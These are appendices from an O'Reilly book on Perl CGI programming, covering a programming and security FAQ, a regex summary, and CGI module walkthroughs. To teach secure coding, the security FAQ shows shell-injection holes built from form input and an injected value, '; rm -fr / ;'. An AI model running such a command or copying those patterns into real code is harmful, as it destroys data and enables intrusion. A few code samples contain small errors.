You can use the environment variable HTTP_USER_AGENT to determine the user's browser.

[ From WWW FAQ ]

Five important environment variables are available to your CGI script to help in identifying the end user.

HTTP_FROM

This environment variable is, theoretically, set to the email address of the user. However, many browsers do not set it at all, and most browsers that do support it allow the user to set any value for this variable. As such, it is recommended that it be used only as a default for the reply email address in an email form.

REMOTE_USER

This variable is only set if secure authentication was used to access the script. The AUTH_TYPE variable can be checked to determine what form of secure authentication was used. REMOTE_USER will then contain the name the user authenticated under. Note that REMOTE_USER is only set if authentication was actually used, and is not supported by all web servers. Authentication may unexpectedly fail to happen under the NCSA server if the method used for the transaction is not listed in the access.conf file (i.e., <Limit GET POST> should be set rather than the default, <Limit GET>).

REMOTE_IDENT

This variable is set if the server has contacted an IDENTD server on the client machine. This is a slow operation, usually turned off in most servers, and there is no way to ensure that the client machine will respond honestly to the query, if it responds at all.

REMOTE_HOST

This variable will not identify the user specifically, but does provide information about the site the user has connected from, if the hostname was retrieved by the server. In the absence of any certainty regarding the user's precise identity, making decisions based on a list of trusted addresses is sometimes an adequate workaround. This variable is not set if the server failed to look up the hostname or skipped the lookup in the interest of speed; see REMOTE_ADDR below. Also keep in mind that you may see all users of a particular proxy server listed under one hostname.

REMOTE_ADDR

This variable will not identify the user specifically, but does provide information about the site the user has connected from. REMOTE_ADDR will contain the dotted-decimal IP address of the client. In the absence of any certainty regarding the user's precise identity, making decisions based on a list of trusted addresses is sometimes an adequate workaround. This variable is always set, unlike REMOTE_HOST, above. Also keep in mind that you may see all users of a particular proxy server listed under one address.

[ End of info from WWW FAQ ]

Can people read my Perl CGI program? If they do, is it a security problem that they know how my code works? How can I hide it?

If you configure your server so that it recognizes that all files in a specific directory (i.e., /cgi-bin), or files with certain extensions (i.e., .pl, .tcl, .sh, etc.) are CGI programs, then it will execute the programs. There is no way for users to see the script itself.

On the other hand, if you allow people to look at your script (by placing it, for example, in the document root directory), it is not a security problem, in most cases.

Do I have to copy the whole Perl library into my htdocs directory?

No, your CGI scripts can access files outside the server and document root directories, unless the server is running in a chroot-ed environment.

Why shouldn't I have people type in passwords or social security numbers or credit card numbers? Isn't that what TYPE="password" is for?

No! The forms interface allows you to have a "password" field, but it should not be used for anything highly confidential. The main reason for this is that form data gets sent from the browser to the Web server as plain text, and not as encrypted data.

If you want to solicit secure information, you need to purchase a secure server, such as Netscape's Commerce Server (http://home.netscape.com/comprod/netscape_commerce.html).

How do I generate separate pages for Netscape vs. the rest of the world?

You can have your CGI script determine whether your script is being accessed by Netscape:

$browser = $ENV{'HTTP_USER_AGENT'};
if ($browser =~ /Mozilla/) {
    #
    # Netscape
    #
} else {
    #
    # Non Netscape
    #
}

Why doesn't my system ( ) output come out in the right order?

This has to do with the way the standard output is buffered. In order for the output to display in the correct order, you need to turn buffering off by using the $| variable:

$| = 1;

I hear that Netscape is going to support Java. Does that mean I have to use Java now instead of Perl? Should I?

No, no! The concept of Java is totally different from that of CGI. CGI refers to server-side execution, while Java refers to client-side execution. There are certain things (like animations) that can be improved by using Java. However, you can continue to use Perl to develop server-side applications.

For more information, here are a few documents you can look at:

Sun's Java Documentation (http://sun.java.com)

Java uber Alles (http://mox.perl.com/perl/versus/java.html) by Tom Christiansen tchrist@mox.perl.com

Java, the Illusion (http://www.nombas.com/otherdoc/javamagk.htm)

How can I access my environment variables? Why are they different sometimes?

You can access the environment variables through the %ENV associative array. Here is a simple script that dumps out all of the environment variables (sorted):

#!/usr/local/bin/perl
print "Content-type: text/plain", "\n\n";
foreach $key (sort keys %ENV) {
    print $key, " = ", $ENV{$key}, "\n";
}
exit (0);

Why does my output get mangled (like "if b < a" is messed up)?

If you send a MIME content type of HTML, you will have to "escape" certain characters, such as "<," "&," and ">", or else the browser will think it is HTML.

You have to escape the characters by using the following construct:

&#ASCII Code;

Here is a simple script that you can run on the command line that will give you the ASCII code for non-alphanumeric characters:

#!/usr/local/bin/perl
print "Please enter a string: ";
chop ($string = <STDIN>);
$string =~ s/([^\w\s])/sprintf ("&#%d;", ord ($1))/ge;
print "The escaped string is: $string\n";
exit (0);

How come when I run it from the command line, my Perl CGI program works, but it doesn't work when I run it from the browser?

This most likely is due to permission problems. Remember, your server is probably running as "nobody," "www," or a process with very minimal privileges. As a result, it will not be able to execute your script unless it has permission to do so.

How come my Perl CGI program runs fine but doesn't manage to write its output files?

Again, this has to do with permissions! The server cannot write to a file in a certain directory if it does not have permission to do so.

You should make it a point to check for error status from the open command:

print "Content-type: text/plain\n\n";
.
.
.
open (FILE, ">" . "/some/dir/some.file") ||
    print "Cannot write to the data file!";
.
.
.

How do I make a form that maintains state, or has several entry points?

You can use the CGI::MiniSvrmodule (http://www-genome.wi.mit.edu/ftp/pub/ software/WWW/CGIperl/docs/MiniSvr.pm.html) to keep state between multiple entry points.

Or you can create a series of dynamic documents that pass a unique session identification (either as a query, an extra path name, or as a hidden field) to each other.

How do I debug my Perl CGI program without running it from a web browser?

It's difficult to debug a CGI script. You can emulate a server by setting environment variables manually:

setenv HTTP_USER_AGENT "Mozilla/2.0b6"       (csh)

or

export HTTP_USER_AGENT = "Mozilla/2.0b6"     (ksh, bash)

You can emulate a POST request by placing the data in a file and piping it to your program:

cat data.file | some_program.pl

Or, you can use CGI Lint, which will automate some of this. It will also check for potential security problems, errors in open ( ), and invalid HTTP headers.

How can I call a Perl CGI program without using a <FORM> tag?

You can call a CGI program by simply opening the URL to it:

http://some.machine/cgi-bin/your_program.pl

You can also have a link in a document, such as:

<A HREF="http://some.machine/cgi-bin/your_program.pl">
Click here to access my CGI program</A>

How do I stop people from calling my form without filling out anything? Why do they keep doing this?

Why people do this, I don't know. But, you can check the information from all the fields and return a "No Response" if any of them are empty. Here is an example (assume the associative array $in contains your form information):

$error = 0;
foreach $value (values %in) {
     $value =~ s/\s//g;
     $error = 1 unless ($value);
}
if ($error) {
    print "Content-type: text/plain\n";
    print "Status: 204 No Response\n\n";
    print "You should only see this message if your browser does";
    print "not support the status code 204\n";
} else {
    #
    # Process Data Here
    #
}

What are all the server response codes (http://www.w3.org/hypertext/WWW/Protocols/HTTP/HTRESP.html) and what do they mean?

A CGI program can send specific response codes to the server, which in turn will send them to the browser. For example, if you want a "No Response" (meaning that the browser will not load a new page), you need to send a response code of 204 (see the answer to the last question).

Why doesn't print "Location: http://host/page.html\n" work? Why does it only work the first time and get the redirects wrong later?

A CGI program can only send one Location header. You also cannot send a MIME content type if you want the server to perform redirection. For example, this is not valid, though it may work with some servers:

#!/usr/local/bin/perl
.
.
.
print "Content-type: text/plain\n"
print "Location: http://some.machine/some.doc\n\n"";

How can I automatically include a:

"Last updated: ..."

line at the bottom of all my HTML pages? Or can I only do that for SSI pages? How do I get the date of the CGI script?

If you are dynamically creating documents using CGI, you can insert a time stamp pretty easily. Here is an example in Perl 5:

$last_updated = localtime (time);
print "Last updated: $last_updated\n";

or in Perl 4:

require "ctime.pl";
$last_updated = &cmtime (time);
print "Last updated: $last_updated\n";

or even:

$date = `/usr/local/bin/date`;
print "Last updated: $last_updated\n";

You can accomplish this with SSI like this:

<--#echo var="LAST_MODIFIED"-->

When is a Perl CGI program too complex for a simple task and only a shell will do? When is it not powerful enough for a hard one? Isn't C++ much better for this kind of thing? What about C?

Each language has its own advantages and disadvantages. I'm sure you've heard this many times: It depends on what you're trying to do. If you are writing a CGI program that's going to be accessed thousands of times in an hour, then you should write it in C or C++. If you are looking for a quick solution (as far as implementation), then Perl is the way to go!

You should generally avoid the shell for any type of CGI programming, just because of the potential for security problems.

Previous | Home | Next
CGI and the WWW Server | Book Index | Security
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A] A.5 Security

CGI Programming on the World Wide Web

Previous Appendix A
Perl CGI Programming FAQ 		Next

A.5 Security

Is a Perl CGI program more or less secure than a shell or C one?

The answer to this is: A CGI program is prone to security problems no matter what language it is written in!

What particular security concerns should I be aware of?

Never expose any form of data to the shell. All of the following are possible security holes:

open (COMMAND, "/usr/ucb/finger $form_user");
system ("/usr/ucb/finger $form_user");
@data = `usr/ucb/finger $form_user`;

See more examples in the following answers. You should also look at:

WWW Security FAQ (by Lincoln Stein) (http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html)

CGI Security FAQ (by Paul Phillips) (http://www.cerf.net/~paulp/cgisecurity/safe-cgi.txt)

How can I call a program with backtics securely? Is it true that:

@ans = `grep '$user_field' some.file`;

is insecure?

Yes! It's very dangerous! Imagine if $user_field contains:

; rm -fr / ;

An equivalent to the above command is:

if (open (GREP, "-|")) {
    @ans = <GREP>
} else {
    exec ("/usr/local/bin/grep", $user_field, "some.file")
        || die "Error exec'ing command", "\n";
}
close (GREP);

Is it true that /$user_variable/ is a security hole in Perl 5?

No! It's not. It's a security hole if you evaluate the expression at runtime using the eval command. Something like this is dangerous:

foreach $regexp (@all_regexps) {
    eval "foreach (\@data) { push (\@matches, \$_) if m|$regexp|o; }";
}

Previous | Home | Next
Specific Programming Questions | Book Index |
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A]

CGI Programming on the World Wide Web

Previous Appendix A
Perl CGI Programming FAQ 		Next

--Shishir Gundavaram

(A big thanks to Perl guru Tom Christiansen for coming up with some of the most frequently asked questions.)

Previous | Home | Next
Security | Book Index | Summary of Regular Expressions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix B] Summary of Regular Expressions

CGI Programming on the World Wide Web

Previous Appendix B Next

B. Summary of Regular Expressions

One of the most powerful features of Perl is its regular expression handling. Regular expressions are especially useful for CGI programming, as text manipulation is central to so many CGI applications. In this appendix, we include a quick reference to regular expressions in Perl. For more information on Perl, see the Nutshell Handbooks Learning Perl by Randal L. Schwartz, Programming Perl by Larry Wall and Randal L. Schwartz, and Perl 5 Desktop Reference by Johan Vromans, all published by O'Reilly & Associates, Inc.

/abc/

Matches abc anywhere within the string

/^abc/

Matches abc at the beginning of the string

/abc$/

Matches abc at the end of the string

/a|b/

Matches either a or b Can also be used with words (i.e., /perl|tcl/)

/ab{2,4}c/

Matches an a followed by 2-4 b's, followed by c. If the second number is omitted, such as /ab {2,}c/, the expression will match two or more b's.

/ab*c/

Matches an a followed by zero or more b's, followed by c. Expressions are greedy--it will match as many as possible. Same as /ab{0,}c/.

/ab+c/

Matches an a followed by one or more b's followed by c. Same as /ab{1,}c/.

/ab?c/

Matches an a followed by an optional b followed by c Same as /ab{0,1}c/. This has a different meaning in Perl 5. In Perl 5, the expression: /ab*?c/matches an a followed by as few b's as possible (non-greedy).

/./

Matches any single character except a newline (\n) /p..l / matches a p followed by any two characters, followed by l, so it will match such strings as perl, pall, pdgl, p3gl, etc.

/[abc]/

A character class--matches any one of the three characters listed. A pattern of /[abc]+/ matches strings such as abcab, acbc, abbac, aaa, abcacbac, ccc, etc.

/\d/

Matches a digit. Same as /[0-9]/Multipliers can be used (/\d+/ matches one or more digits)

/\w/

Matches a character classified as a word. Same as /[a-zA-Z0-9_]/

/\s/

Matches a character classified as whitespace. Same as /[ \r\t\n\f]/

/\b/

Matches a word boundary or a backspace/test\b/ matches test, but not testing. However, \b matches a backspace character inside a class (i.e., [\b])

/[^abc]/

Matches a character that is not in the class/[^abc ]+/ will match such strings as hello, test, perl, etc.

/\D/

Matches a character that is not a digit. Same as /[^0-9]/

/\W/

Matches a character that is not a word. Same as /[^a-zA-Z0-9_]/

/\S/

Matches a character that is not whitespace. Same as /[^ \r\t\n\f]/

/\B/

Requires that there is no word boundary/hello\B/ matches hello, but not hello there

/\*/

Matches the * character. Use the \ character to escape characters that have significance in a regular expression.

/(abc)/

Matches abc anywhere within the string, but the parentheses act as memory, storing abc in the variable $1.

Example 1:

/name=(.*)/ will store zero or more characters after name= in variable $1.

Example 2:

/name=(.*)&user=\1/ will store zero or more characters after name= in $1. Then, Perl will replace \1 with the value in $1, and check to see if the pattern matches.

Example 3:

/name=([^&]*)/ will store zero or more characters after name= but before the & character in variable $1.

Example 4:

/name=([^&]+)&age=(.*)$/ will store one or more characters after name= but before & in $1. It then matches the & character. All characters after age= but before the end of the line are stored in $2.

/abc/i

Ignores case. Matches either abc, Abc, ABC, aBc, aBC, etc.

Previous | Home | Next
 | Book Index | CGI Modules for Perl 5
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] CGI Modules for Perl 5

CGI Programming on the World Wide Web

Previous Appendix C Next

C. CGI Modules for Perl 5

Contents:
Overview of Modules
Form Creation and Parsing

If you are tired of writing code to create forms, decoding form information, or maintaining state between multiple forms, you can make your life easier by using the freely available CGI modules for Perl 5. However, unless you are familiar with programming, it will be difficult to fully grasp how these modules work internally.

C.1 Overview of Modules

First, here is a list of the available modules. We will look at an example that incorporates the functionality from some of these modules shortly.

Base.pm

This is the core module that contains common methods (i.e., functions) that some of the other classes depend on. These include methods to read form information (the module does not parse or decode the data), log debug messages, implement socket I/O for maintaining state, and access and manipulate data from environment variables, such as the client's acceptable MIME content types.

If you are familiar with object-oriented programming, Base.pm represents the base class, from which other classes "inherit" methods and data structures. The "child" classes can override the methods from the base class to create modified functions, or implement new ones.

BasePlus.pm

This module consists of functions to handle the new multipart forms generated by "file upload"--a feature new to Netscape 2.0. The file upload feature allows users to send files on their local machines as part of a form. This is a very powerful feature, but decoding the data can be a hassle. So, you should use either this module or the CGI_Lite module to handle multipart forms.

Request.pm

You can parse and decode form and query data with this module. That's all there is to it!

Form.pm

Have you ever wished you could create forms much more quickly and easily than outputting a series of HTML tags? If so, the Form module is the one for you! You no longer have to remember how to create a radio button or a scrolled down list.

In addition, this module allows you to easily decode and parse form and query data. The functions responsible for this are inherited from the Base.pm and Request.pm modules.

MiniSvr.pm

With this module, you can implement a "mini HTTP daemon" which can be forked from a CGI application to maintain state between multiple form invocations. The daemon sits on a port with a relatively short timeout, waiting for a request. It then serves the request and terminates. Now, imagine what will happen to your host machine if the rate of process creation (i.e., forking) exceeds that of termination.

You need to be careful when using this module to maintain state, as it creates multiple processes to handle requests. If the rate of process creation exceeds that of termination, your server will become overloaded and may result in serious problems.

However, this module can be very helpful if used correctly, as all socket I/O is handled by the module so that you don't have to worry about such things as choosing the correct port number, establishing the socket, or reading from the socket.

Response.pm

Though not a part of the official CGI module distribution at the time of this writing, this module contains functions that make it easier to output HTML headers. For example, if you don't want a document to be cached, you can call a method that will automatically output the Pragma and Expires headers for you.

Carp.pm

This module is independent, in that it does not inherit any functionality from the base class. However, it is a very useful module that allows you to format error messages sent to the server log file or redirect them to the browser or another file.

Previous | Home | Next
Summary of Regular Expressions | Book Index | Form Creation and Parsing
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] C.2 Form Creation and Parsing

CGI Programming on the World Wide Web

Previous Appendix C
CGI Modules for Perl 5 		Next

C.2 Form Creation and Parsing

Here is a simple example that creates a form and parses the data using the modules that we've just discussed. The dynamic form that is output by the program is shown in Figure C-1.

Figure C.1: Form created from Perl 5 modules

[Graphic: Figure C-1]

Now, let's look at the program:

#!/usr/local/bin/perl5
use CGI::Form;
use CGI::Response qw(:Simple);
use CGI::Carp;

Before we can use any of the methods in the CGI modules, we have to import them into our program. In the case of CGI::Response, some of the "simple" methods, such as those that output the Content-type and Pragma HTTP headers, are not exported by the module so we have to literally specify it.

print NoCache ();

The NoCache method from the CGI::Response class outputs the following header information:

Pragma: no-cache
Content-Type: text/html
Expires: Mon, 29 Jan 1996 00:53:49 GMT

which instructs the server that HTML data is about to follow, and that it should not cache the document.

$cgi_form = new CGI::Form ();
$user = $cgi_form->param ('name');

We create a new instance of the Form object and store it in $cgi_form. Then, we retrieve the value for the form field labeled name so that we can use it to personalize the title of the document for successive forms.

Here we see an example of inheritance. The param method is implemented in the CGI::Request module, which is inherited by CGI::Form. As a result, we can access the method as though it was part of CGI::Form.

if ($user) {
    $remote_user = "Welcomes $user";
} else {
    $remote_user = join (" ", "- Welcome from", $cgi_form->cgi->var ("REMOTE_HOST"));
}

Here, we set the $remote_user variable to a welcome message. If the $user variable is not defined, we use the remote host name instead. Here is another interesting call. The cgi method is implemented in the CGI::Request module and interfaces with CGI::Base. The var method is defined in CGI::Base and returns the value of a specific environment variable.

print <<Start_HTML;
<HTML>
<HEAD><TITLE>Welcome to Shishir's Track & Field Emporium</TITLE></HEAD>
<BODY>
<H1>Track and Field $remote_user</H1>
<HR>
Start_HTML
&display_form ($cgi_form);
print <<End_HTML;
<HR>
</BODY>
</HTML>
End_HTML
exit (0);

We output the header and footer with a form in between. The form is created by the display_form subroutine, which expects an instance of the CGI::Form class.

The display_form subroutine creates a form by calling several methods in the CGI::Form class. Not only do these methods output the necessary HTML to create the form, but they also check to see if there is any form data that is being passed to the program, and use that data as default information for the various fields--providing that the field (names) are the same. This is actually an example that saves state, and works as a result of setting the ACTION attribute on the form to point back to this script; there is always data passed to the program if the user submits the form.

sub display_form
{
    local ($form) = @_;

Here the $form refers to an instance of the CGI::Form object that we created earlier.

    print $form->startform ();
    print "Name: ";
    print $form->textfield ('name'), "<BR>", "\n";
    print "E-Mail Address: ";
    print $form->textfield ('email'), "<BR>", "\n";

The startform method outputs the necessary <FORM> tag to start the form. The startform method uses a default ACTION of the current script, and a default METHOD of POST.

The textfield method creates a text field. If the form data passed to this program has a field titled name, the method will use the passed-in value as a default. In other words, this is what it does (assume that form data is stored in the %FORM associative array):

$value = $FORM{'email'};
print qq|<INPUT TYPE="text" NAME="email" VALUE="$value">|;

This results in form fields containing data from the previous request (or state). The CGI::Form object uses the param method from the CGI::Request module to retrieve the value for a specific form field.

    print "<P>", "Snail Mail Address: ";
    print $form->textarea ('address', undef, 5, 40);

Here we create a textarea titled "address" with a size of 5 rows and 40 columns. The second argument to the textarea method is used for placing default information within a text area.

    print "<P>", "What would you like to receive: ", "<BR>";
    print $form->checkbox_group (-name      => 'want',
                                 -values    => ['Latest Catalog',
                                              'Up-to-date Track News',
                                              'Catalog Specials'],
                                 -default   => 'Latest Catalog',
                                 -linebreak => 'true');

See how easy it is to create a group of checkboxes? The labels for each checkbox default to the specified values. However, you can pass a "-labels" argument if you want the labels to be different than the values.

    print "<P>", "Where do you live: ", "<BR>";
    print $form->radio_group (-name      => 'where',
                              -values    => ['North America',
                                             'South America',
                                             'Europe',
                                             'Australia',
                                             'Antartica'],
                               -default   => 'North America',
                               -linebreak => 'true');
   print "<P>", "What type of events do you participate in: ", "<BR>";
   print $form->popup_menu (-name    => 'events',
                            -values  => ['Sprints',
                                         'Middle Distance',
                                         'Distance',
                                         'Field Events',
                                         'Throws'],
                             -default => 'Sprints');

Radio buttons and popup menus are created in much the same way as checkboxes.

    if ( ($form->param ('events') eq "Sprints") && ($form->param ('send_entry')) ) {
        if ($user) {
                warn "Shishir, $user is a sprinter!! Yahoo!\n";
            } else {
                warn "Shishir, we have an *anonymous* sprinter here!\n";
         }
    }

We use the param method to check the value of the events and send_entry fields. If our check is successful, we call the warn statement, which will output a message to the server log file in the following format:

[Mon Jan 29 15:07:25 1996] simple.pl: Shishir, Jan Apell is a sprinter!! Yahoo!

Now, let's finish off the program.

    print "<P>";
    print $form->reset ();
    print $form->defaults ();
    print $form->submit ('send_entry', 'Submit');
    print $form->endform ();
}

The reset, defaults, and submit methods create different type of buttons. reset allows you to clear the values in the current form and display values from the previous state (or session). The defaults button clears the form entirely. And the submit method creates a Submit button for you to send the data to the server.

Previous | Home | Next
Overview of Modules | Book Index | CGI Lite
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] CGI Lite

CGI Programming on the World Wide Web

Previous Appendix D Next

D. CGI Lite

Contents:
Multipart Forms

CGI Lite is a Perl 5 library that will decode both URL-encoded and multipart form data produced by the file upload feature present in Netscape 2.0. This module does not have all of the features of the CGI::* modules, but is lightweight and slightly easier to use. Here is a simple example that outputs all the form data:

#!/usr/local/bin/perl5
use CGI_Lite;
$cgi = new CGI_Lite ();
$cgi->parse_form_data ();

print "Content-type: text/plain", "\n\n";
$cgi->print_form_data ();

exit (0);

The parse_form_data method parses the form data and stores it in an internal associative array, which can be printed out by calling the print_form_data method. Or, you can place the form data in a variable of your choice:

#!/usr/local/bin/perl5
use CGI_Lite;

$cgi = new CGI_Lite ();
%data = $cgi->parse_form_data ();

print "Content-type: text/plain", "\n\n";

foreach $key (keys %data) {
    print $key, " = ", $data{$key}, "\n";
}

exit (0);

D.1 Multipart Forms

The file upload feature of Netscape 2.0 allows you to do just that: send files as part of a form through the network. Here is how to create a multipart form:

<HTML>
<HEAD><TITLE>CGI Lite Test</TITLE></HEAD>
<BODY>
<H1>CGI Lite Test</H1>
<HR>
<FORM ACTION="/cgi-bin/upload.pl" ENCTYPE="multipart/form-data" METHOD="POST">
What is your name? <INPUT TYPE="text" NAME="username">
<P>
Select a <B>TEXT</B> file to send: <INPUT TYPE="file" NAME="input_file">
<P>
<INPUT TYPE="submit" VALUE="Send the Multipart Form">
<INPUT TYPE="reset"  VALUE="Clear the Information">
</FORM>
<HR>
</BODY>
</HTML>

There are two things that are very different from what we have seen before. The first is the ENCTYPE attribute in the FORM tag. If we want the form data to be URL-encoded, then we don't have to specify ENCTYPE, in which case it defaults to application/x-www-form-urlencoded.

The other is the TYPE attribute in the INPUT tag. By specifying a TYPE of "file", Netscape will display a "Browse" button which allows you to select a file from your disk or network.

Figure D.1 shows how the form will be rendered by Netscape.

Figure D.1: Snapshot of multipart form

[Graphic: Figure D-1]

The following program decodes the form information and sends the user-uploaded file back to the browser for display. (That's the reason why we asked the user to send text files.)

#!/usr/local/bin/perl5
use CGI_Lite;

$cgi = new CGI_Lite ();
print "Content-type: text/plain", "\n\n";
$cgi->set_directory ("/usr/shishir") || die "Directory doesn't exist.\n";

The set_directory method allows you to store the uploaded files in a specific directory. If this method is not called, CGI_Lite defaults to /tmp.

$cgi->set_platform ("UNIX");

Since this is a text file, we can use the set_platform method to add or remove the appropriate end of line (EOL) characters. The EOL character is a linefeed ("\n") in UNIX, a carriage return ("\r") on the Macintosh, and a combination of carriage return and line feed ("\r\n") on the Windows/DOS platform.

$cgi->set_file_type ("handle");
%data = $cgi->parse_form_data ();

The set_file_type method with an argument of "handle" returns the filehandle(s) for uploaded files that are stored in the directory specified by the set_directory method.

$user = $data{'username'};
$filename = $data{'input'};
print "Welcome $user, let's see what file you uploaded...", "\n";
print "=" x 80, "\n";

Here we simply retrieve the form fields and display a welcome message. Remember, the variable $filename points to a filehandle.

if (-T $filename) {
    while (<$filename>) {
        print;
    }
    close ($filename);
} else {
    print "Sorry! you did not upload a text file.", "\n";
}
exit (0);

If the uploaded file is a text file, we proceed to output it. If not, an error message is output.

Previous | Home | Next
Form Creation and Parsing | Book Index | Applications, Modules, Utilities, and Documentation
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] Applications, Modules, Utilities, and Documentation

CGI Programming on the World Wide Web

Previous Appendix E Next

E. Applications, Modules, Utilities, and Documentation

Contents:
Software Developed for the Book
CGI Software
Utilities and Applications
WWW Server Information
Online Documentation
Official Specifications

Throughout this book, we refer to free (or nearly free) programs and utilities that are used for CGI development. In this appendix, we list URLs from which these utilities can be downloaded.

E.1 Software Developed for the Book

CGI Lint, CGI Lite, and Sprite are available at the various CPAN (Comprehensive Perl Archive Network) mirrors throughout the world. Here is a list of the CPAN mirrors:

ftp://ftp.funet.fi/pub/languages/perl/CPAN/
ftp://ftp.cis.ufl.edu/pub/perl/CPAN/
ftp://uiarchive.cso.uiuc.edu/pub/lang/perl/CPAN/
ftp://ftp.delphi.com/pub/mirrors/packages/perl/CPAN
ftp://ftp.uoknor.edu/mirrors/CPAN/
ftp://ftp.sedl.org/pub/mirrors/CPAN/
ftp://ftp.ibp.fr/pub/perl/CPAN/"
ftp://ftp.pasteur.fr/pub/computing/unix/perl/CPAN/
ftp://ftp.leo.org/pub/comp/programming/languages/perl/CPAN/
ftp://ftp.rz.ruhr-uni-bochum.de/pub/programming/languages/perl/CPAN/
ftp://ftp.demon.co.uk/pub/mirrors/perl/CPAN/
ftp://ftp.cs.ruu.nl/pub/PERL/CPAN/
ftp://ftp.sunet.se/pub/lang/perl/CPAN/
ftp://ftp.switch.ch/mirror/CPAN/
ftp://ftp.mame.mu.oz.au/pub/perl/CPAN/
ftp://ftp.tekotago.ac.nz/pub/perl/CPAN/
ftp://ftp.lab.kdd.co.jp/lang/perl/CPAN/
ftp://dongpo.math.ncu.edu.tw/perl/CPAN/
ftp://ftp.is.co.za/programming/perl/CPAN/

The applications are located in the following directory (within CPAN):

/modules/by-authors/Shishir_Gundavaram

Examples shown in this book can be downloaded from the O'Reilly & Associates, Inc. FTP site:

ftp://ftp.ora.com/published/oreilly/nutshell/cgi

Previous | Home | Next
Multipart Forms | Book Index | CGI Software
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] E.2 CGI Software

CGI Programming on the World Wide Web

Previous Appendix E
Applications, Modules, Utilities, and Documentation 		Next

E.2 CGI Software

cgic - CGI C/C++ Library | http://www.boutell.com/cgic/
cgi-lib.pl | http://www.bio.cam.ac.uk/web/form.html
CGI::* Modules | http://www-genome.wi.mit.edu/WWW/tools/scripting/CGIperl
EIT's CGI Library for C/C++ | http://wsk.eit.com/wsk/dist/doc/libcgi/libcgi.html
Grant's CGI Framework for the Macintosh | http://arpp1.carleton.ca/grant/mac/grantscgi.html
libwww | /CPAN/modules/by-authors/Gisle_Aas in the CPAN archives
Python CGI Library | http://www.python.org/~mclay/notes/cgi.html
uncgi | http://www.hyperion.com/~koreth/uncgi.html

Previous | Home | Next
Software Developed for the Book | Book Index | Utilities and Applications
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] E.3 Utilities and Applications

CGI Programming on the World Wide Web

Previous Appendix E
Applications, Modules, Utilities, and Documentation 		Next

E.3 Utilities and Applications

DBI/DBperl | /authors/Tim_Bunce/DBI in the CPAN archives
fakessi.pl | http://sw.cse.bris.ac.uk/WebTools/fakessi.html
GD Graphics Library | C Library:(http://www.boutell.com/gd/) Perl 5.0:http://www-genome.wi.mit.edu/ftp/pub/software/WWW/GD.html Tcl:http://guraldi.hgp.med.umich.edu/gdtcl.html
GhostScript | http://www.phys.ufl.edu/docs/goodies/unix/previewers/ghostscript.html
Glimpse | http://glimpse.cs.arizona.edu
gnuplot v3.5 | ftp://prep.ai.mit.edu/pub/gnu/gnuplot-3.5.tar.gz
ImageMagick | ftp://ftp.x.org/contrib/applications/ImageMagick/
mSQL | http://bond.edu.au/People/bambi/mSQL/
netpbm | ftp://ftp.x.org/R5contrib/netpbm-1mar1994.tar.gz
oraperl | http://src.doc.ic.ac.uk/packages/perl/db/perl4/oraperl
pgperl | http://www.ast.cam.ac.uk/~kgb/pgperl.html
Python | http://www.python.org
RDB | http://www.metronet.com/perlinfo/scripts/dbase/RDB.tar.Z
SWISH | http://www.eit.com/software/swish/swish.html
sybperl | http://src.doc.ic.ac.uk/packages/perl/db/perl4/sybperl

Previous | Home | Next
CGI Software | Book Index | WWW Server Information
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] E.4 WWW Server Information

CGI Programming on the World Wide Web

Previous Appendix E
Applications, Modules, Utilities, and Documentation 		Next

E.4 WWW Server Information

NCSA httpd | http://hoohoo.ncsa.uiuc.edu/docs/Overview.html
CERN Server | http://www.w3.org/hypertext/WWW/Daemon/Status.html
Apache Server | http://www.apache.org
Netscape Communications Server and Netscape Commerce Server | http://home.netscape.com/
WebSTAR Server | http://www.biap.com/
Win httpd | http://www.city.net/win-httpd/
HTTPS | http://emwac.ed.ac.uk/html/internet_toolchest/https/contents.htm
WebSite | http://website.ora.com

Previous | Home | Next
Utilities and Applications | Book Index | Online Documentation
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] E.5 Online Documentation

CGI Programming on the World Wide Web

Previous Appendix E
Applications, Modules, Utilities, and Documentation 		Next

E.5 Online Documentation

AppleScript Guide to CGI Scripts | http://152.1.24.177/teaching/manuscript/default.html
CGI FAQ | http://perl.com ftp://ftp.ora.com/published/oreilly/nutshell/cgi
CGI Security FAQ | http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt
Perl Reference Guide | /doc/refguide in the CPAN archives
Perl FAQ | /doc/FAQ in the CPAN archives
SQL-92 | http://sunsite.doc.ic.ac.uk/packages/perl/db/refinfo/sql2/sql1992.txt
WWW FAQ | http://www.boutell.com/faq
WWW Security FAQ | http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html

Previous | Home | Next
WWW Server Information | Book Index | Official Specifications
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] E.6 Official Specifications

CGI Programming on the World Wide Web

Previous Appendix E
Applications, Modules, Utilities, and Documentation

E.6 Official Specifications

CGI

http://hoohoo.ncsa.uiuc.edu/cgi/interface.html

MIME (RFC1341)[1]

http://www.w3.org/hypertext/WWW/Protocols/rfc1341/0_TableOfContents.html

HTML

http://www.w3.org/hypertext/WWW/MarkUp/HTML.html

HTML 2.0 and 3.0

ftp://www.ics.uci.edu/pub/ietf/html/index.html

Netscape Extensions to HTML

http://home.netscape.com/assist/net_sites/html_extensions.html

HTTP 1.0

http://www.w3.org/hypertext/WWW/Protocols/HTTP/HTTP2.html

URL

http://www.w3.org/hypertext/WWW/Addressing/Addressing.html

Footnotes:

